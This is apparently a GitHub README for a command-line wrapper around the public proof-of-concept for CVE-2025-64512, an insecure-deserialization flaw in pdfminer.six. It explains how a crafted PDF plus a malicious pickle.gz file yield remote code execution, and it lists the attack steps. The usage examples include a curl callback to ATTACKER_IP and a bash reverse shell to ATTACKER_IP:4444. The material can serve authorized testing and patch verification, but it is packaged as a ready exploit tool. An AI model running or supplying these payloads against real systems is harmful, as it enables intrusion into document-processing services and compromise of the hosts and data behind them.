
CLI wrapper for CVE-2025-64512 PoC generating malicious PDF and pickle.gz payloads to exploit insecure deserialization in pdfminer.six, enabling remote code execution via crafted PDF processing.
⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.
pdfminer.six is a widely used Python library for extracting text and metadata from PDF files, commonly embedded in document-processing pipelines, CLI tools, and AI/data ingestion workflows. Affected versions load CMap (character-map) cache files for CJK font support using Python's module, without validating that the resolved path stays within the expected cache directory.
pickleA specially crafted PDF can reference an attacker-controlled path for this CMap lookup. If an attacker can also place a malicious .pickle.gz file at that resolved path (e.g. via a co-located file upload feature), processing the PDF triggers pickle.loads() on attacker-controlled data, resulting in arbitrary code execution. This exact mechanism — including the PoC PDF structure — was documented by mtolley in the official advisory.
This repository contains a small CLI wrapper around the official proof-of-concept published in the GitHub Security Advisory for CVE-2025-64512. It does not introduce any new exploitation technique — the malicious PDF template is taken almost verbatim from the advisory itself; this script only parameterizes the target path, the command to execute, and the output filenames so the PoC is easier to reuse.
| Field | Value |
|---|---|
| CVE | CVE-2025-64512 |
| Affected | pdfminer.six ≤ 20250506 (also markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Type | Insecure Deserialization (CWE-502) |
| Privileges | None (unauthenticated, if PDF processing is exposed) |
| Impact | Arbitrary code execution |
| Patch | pdfminer.six 20251107+ |
CMapDB._load_data() in pdfminer.six resolves a CMap name — taken from a PDF font's /Encoding entry — to a file path, and loads it with pickle.loads() if it ends in .pickle.gz. The function does not validate that the resolved path stays inside pdfminer's own cmap/ directory.
/Encoding references an attacker-chosen path (URL-encoded, / as #2F)..pickle.gz file present at <that path>.pickle.gz on the target filesystem at the time the PDF is processed.Both files can typically be delivered through the same upload channel that eventually gets processed by pdfminer.six (e.g. a document-ingestion pipeline), as long as the resulting on-disk paths are predictable or discoverable.
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip, pickle, argparse)No third-party dependencies are needed to generate the payload. The target must have a vulnerable pdfminer.six (or a project depending on it) actually processing the uploaded PDF.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
This produces:
payload.pickle.gz — upload this first, to .../uploads/payload.pickle.gztrigger.pdf — upload this second; once the target processes it with pdfminer.six, the command runspython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz